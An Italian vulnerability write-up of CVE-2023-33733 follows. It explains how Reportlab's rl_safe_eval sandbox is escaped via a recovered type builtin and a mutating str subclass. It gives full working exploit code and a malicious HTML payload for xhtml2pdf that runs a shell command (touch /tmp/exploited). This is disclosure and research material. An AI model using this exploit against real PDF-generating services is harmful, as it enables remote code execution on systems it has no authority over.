
Analisi tecnica dettagliata ed exploit proof-of-concept per CVE-2023-33733, una vulnerabilità di esecuzione remota di codice nella libreria Python Reportlab tramite bypass della sandbox nell'elaborazione HTML-to-PDF.
In breve Questo write-up descrive come una RCE in Reportlab - è stata trovata e sfruttata. A causa della diffusione di Reportlab nell'elaborazione da HTML a PDF, questa vulnerabilità può essere raggiungibile in molte applicazioni che processano file PDF, rendendola importante da patchare e da tenere d'occhio.
Qualche giorno fa, durante un audit di un'applicazione web, abbiamo notato che l'applicazione utilizzava la libreria Python Reportlab per generare dinamicamente file PDF a partire da input HTML. Reportlab è risultata avere una vulnerabilità già patchata in precedenza che portava all'esecuzione di codice. Questo significa che trovare un bypass della patch era piuttosto interessante dal punto di vista di un attaccante, poiché avrebbe portato alla riscoperta dell'esecuzione di codice, soprattutto perché la libreria Reportlab è utilizzata anche in altre applicazioni e strumenti.
Prima di tutto, un rapido riepilogo: Reportlab è un progetto Open Source che permette la creazione di documenti nel Portable Document Format (PDF) di Adobe utilizzando il linguaggio di programmazione Python. Crea anche diagrammi e grafici di dati in vari formati bitmap e vettoriali, oltre ai PDF.
La libreria ha conosciuto nel 2019 un exploit simile che portava all'esecuzione remota di codice tramite l'attributo Color dei tag HTML: il contenuto dell'attributo veniva direttamente valutato come espressione Python usando la funzione eval, portando quindi all'esecuzione di codice. Per mitigare il problema, Reportlab ha implementato una sandbox chiamata , spogliata di tutte le funzioni builtin di Python e con molte funzioni builtin sovrascritte per consentire l'esecuzione del codice sicuro della libreria, bloccando al contempo qualsiasi accesso a funzioni e librerie pericolose che possano successivamente portare alla costruzione di codice Python pericoloso:
rl_safe_evalUn esempio di queste misure preventive è che la funzione builtin getattr viene sovrascritta con una funzione ristretta __rl_getitem__ che proibisce l'accesso a qualsiasi attributo pericoloso degli oggetti, come quelli che iniziano con __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
La safe eval, come descritto in precedenza, ripulisce l'ambiente da tutte le funzioni pericolose, così che il codice in esecuzione non abbia accesso a strumenti pericolosi utilizzabili per eseguire azioni malevole. Tuttavia, se si trova un bypass a queste restrizioni e si riesce a ottenere l'accesso a una delle funzioni builtin originali, lo sfruttamento dell'ambiente sandbox sarebbe notevolmente facilitato.
Una delle molte classi builtin sovrascritte si chiama type; se questa classe viene chiamata con un argomento, restituisce il tipo di un oggetto. Tuttavia, se viene chiamata con tre argomenti, restituisce un nuovo oggetto tipo. Questo è essenzialmente una forma dinamica della dichiarazione di classe. In altre parole, può consentire la creazione di una nuova classe che eredita da un'altra classe.
Quindi l'idea qui è creare una nuova classe chiamata Word che eredita da str; quando viene passata alla getattr personalizzata, aggirerebbe i controlli e permetterebbe l'accesso ad attributi sensibili come __code__.
Prima che la getattr personalizzata nell'eval in sandbox restituisca l'attributo, esegue alcuni controlli chiamando __rl_is_allowed_name__ per verificare la sicurezza dell'attributo richiesto, prima di chiamare la builtin Python getattr e restituire il risultato.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Per bypassare la funzione __rl_is_allowed_name__, la classe Word dovrebbe:
False per le chiamate alla funzione startswith per aggirare (name.startswith('__')False alla sua prima chiamata a __eq__ per aggirare name in __rl_unsafe__; dopo la prima chiamata dovrebbe restituire la risposta corretta, perché quando __eq__ viene chiamata dalla builtin Python getattr deve restituire il risultato corretto.La seguente classe soddisfa questi criteri:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
La funzione type personalizzata nella safe eval non permette di ricevere tre argomenti:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Un bypass è stato trovato chiamando type su se stessa, consentendo di recuperare la funzione builtin originale type:
orgTypeFun = type(type(1))
Combinando queste due righe di codice si ottiene qualcosa del genere:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
L'exploit originale soffriva di diverse limitazioni che lo rendevano sfruttabile solo su Python 3.10; per risolvere questi problemi è stato adottato un nuovo approccio per accedere al modulo Python os.
La libreria Reportlab sovrascrive l'implementazione di diverse funzioni builtin e le inietta come globali nel contesto di eval.
Esempio di builtin di default sovrascritte da funzioni personalizzate in rl_safe_eval.py:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Poiché queste funzioni sono costruite nel contesto globale, le variabili globali e i moduli possono essere accessibili utilizzando l'attributo __globals__ di queste funzioni personalizzate.
Il seguente codice deve essere eseguito all'interno del contesto di eval
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Ora non resta che scrivere l'exploit:
Per fare ciò, una funzione verrà ricostruita dal bytecode di una funzione compilata:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
Tuttavia, un'espressione multilinea come questa non verrà eseguita in un contesto di eval; per aggirare questo problema, si può usare il trucco della list comprehension, qualcosa del genere:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
Con questa tecnica, il codice dell'exploit può essere riscritto in una sola riga di codice come questa (questa è considerata una riga x) il multilinea qui è solo formattazione per aumentare la leggibilità dell'exploit. Le dichiarazioni vanno lette dal basso verso l'alto x) strano, ma è così che funziona):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Si prega di fare riferimento a poc.py in quanto contiene una prova di concetto che dimostra l'esecuzione del codice (in caso di exploit riuscito, viene creato un file chiamato exploited in /tmp/).
Molte app e librerie utilizzano la libreria Reportlab; ad esempio, l'utility xhtml2pdf è vulnerabile e può subire l'esecuzione di codice durante la trasformazione di HTML malevolo in PDF
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Voglio ringraziare Matthias Weckbecker per la sua collaborazione e il meraviglioso scambio di opinioni discutendo i limiti dell'exploit originale. Ora l'exploit funziona perfettamente su tutte le versioni di Python 3 :D